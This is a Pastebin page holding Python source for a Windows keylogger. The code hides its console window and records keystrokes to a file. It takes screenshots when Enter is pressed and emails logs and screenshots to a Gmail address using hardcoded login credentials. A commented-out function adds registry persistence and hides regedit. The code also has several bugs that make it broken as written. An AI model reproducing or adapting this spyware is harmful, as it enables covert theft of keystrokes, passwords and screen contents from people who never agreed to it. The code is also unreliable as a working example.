Advertisement
Guest User

Python Keylogger by MartyXO.

a guest
Jul 21st, 2017
749
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.70 KB | None | 0 0
  1. import win32api
  2. import win32console
  3. import win32gui
  4.  
  5. import pythoncom
  6. import pyHook
  7.  
  8. import getpass
  9.  
  10. import socket
  11.  
  12. import shutil
  13. import os
  14. import platform
  15. import sys
  16. from sys import argv
  17.  
  18. from urllib import urlopen
  19.  
  20. import smtplib
  21. from email.mime.base import MIMEBase
  22. from email.mime.image import MIMEImage
  23. from email.mime.multipart import MIMEMultipart
  24. from email.mime.text import MIMEText
  25. from email import Encoders
  26.  
  27. import pyscreenshot as ImageGrab
  28.  
  29. from time import strftime
  30. import time
  31.  
  32. import threading
  33. from threading import Thread
  34.  
  35.  
  36. script = argv
  37.  
  38. user = getpass.getuser()
  39.  
  40.  
  41. password = 'DEAUGHH'
  42. Date = strftime("%a %d %b %Y")
  43. Time = strftime("%H:%M:%S %p")
  44. Date_Time = strftime("(%a %d %b %Y) (%H:%M:%S %p)")
  45. log_file = 'Log_File @ ['+win32api.GetComputerName()+']@'+strftime("[(%a %d %b %Y) (%H-%M-%S %p)]")+'.txt'
  46.  
  47. win = win32console.GetConsoleWindow()
  48. win32gui.ShowWindow(win, 0)
  49. def Antis():
  50.     os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Sinxtbot /t REG_DWORD /d 1  /f")
  51.     os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")
  52.     os.system("attrib +a +s +h %windir%\regedit.exe")
  53.     os.system("attrib +a +s +h %windir%\system32\regedit.exe")
  54.     os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Sintxtbot /t REG_SZ /d C:\Users\\"+user+"\Downloads\Sinxtbot\Sinxtbot.exe /f")
  55.  
  56.  
  57. def Keylogee():
  58.     def OnKeyboardEvent(event):
  59.         # ------------------ Vytvoreni Log_file -------------- #
  60.         f = open(log_file, 'w')
  61.         line = '========================================================='
  62.         f.write(line+'\n >>> Logging Started @ ' + Time + ' @ ' + Date +'\n'+line+'\n\n' )
  63.         f.close()
  64.         shutil.move('attrib +s'+os.getcwd()+'\\'+log_file)
  65.         # ------------------------------------------------------- #
  66.         f = open(log_file, 'a')
  67.         f.write(event.Key)
  68.     if event.Key == 'Return':
  69.         f.write('\n')
  70.  
  71.  
  72. def send_message():
  73.     while 1:
  74.         Iteration = 1
  75.         time.sleep(30)
  76.  
  77.         msg = MIMEMultipart()
  78.         msg['From'] = 'martyq.155@gmail.com'
  79.         msg['To'] = 'martyq.158@gmail.com'
  80.         msg['Subject'] = 'simple email in python'
  81.         message = 'here is the email'
  82.         msg.attach(MIMEText(message))
  83.         msg.attach(log_file)
  84.  
  85.         mailserver = smtplib.SMTP('smtp.gmail.com', 587)
  86.         mailserver.ehlo()
  87.         mailserver.starttls()
  88.         mailserver.ehlo()
  89.         mailserver.login('martyq.155@gmail.com', '7205842692')
  90.  
  91.         mailserver.sendmail('martyq.155@gmail.com', 'martyq.158@gmail.com', msg.as_string())
  92.         mailserver.quit()
  93.         #----------------------------------------------#
  94.         time.sleep(450)
  95.         # -------- SMAZE SOUBOR S LOGY --------------- #
  96.         if Iteration == 3:
  97.             os.remove(log_file)
  98.  
  99. def ChytneScreen(event):
  100.     while 1:
  101.         if event.Key == 'Return':
  102.             screenshot_name = 'Screenshot@['+win32api.GetComputerName()+']@['+strftime("(%a %d %b %Y) (%H %M %S %p)")+'].jpg'
  103.             screenshot = ImageGrab.grab().save(screenshot_name, 'JPEG')
  104.  
  105.             msg = MIMEMultipart()
  106.             screenshot_data = open(screenshot_name, 'rb').read()
  107.             screenshot_msg = MIMEMultipart(_subtype='related')
  108.             screenshot_image = MIMEImage(screenshot_data, 'jpeg')
  109.             msg['From'] = 'martyq.155@gmail.com'
  110.             msg['To'] = 'martyq.158@gmail.com'
  111.             msg['Subject'] = screenshot_name
  112.             message = 'Ahoj! Posilam ti tedy ty fotky z dovolene.'
  113.             msg.attach(MIMEText(message))
  114.             screenshot_msg.attach(screenshot_image)
  115.             mailserver = smtplib.SMTP('smtp.gmail.com', 587)
  116.             mailserver.ehlo()
  117.             mailserver.starttls()
  118.             mailserver.ehlo()
  119.             mailserver.login('martyq.155@gmail.com', '7205842692')
  120.             mailserver.sendmail('martyq.155@gmail.com', 'martyq.158@gmail.com', screenshot_msg.as_string())
  121.             # -------------- SMAZE SCREENSHOT ------------------- #
  122.             os.remove(screenshot_name)
  123.             mailserver.quit()
  124.             # --------------------------------------------------- #
  125.        
  126.  
  127.  
  128. # ----------------- Start sbirani informaci ------------------ #
  129. hm = pyHook.HookManager()
  130. hm.KeyDown = OnKeyboardEvent
  131. hm.KeyDown = ChytneScreen
  132. hm.HookKeyboard()
  133. pythoncom.PumpMessages()
  134. Thread(target = Keylogee).start()
  135. Thread(target = ChytneScreen).start()
  136. Thread(target = send_message).start()
  137. #Thread(target = Antis).start() <----------------- Deaktivovana funkce
  138. time.sleep(5)
  139. Thread(target = Keylogee).start()
  140. Thread(target = ChytneScreen).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement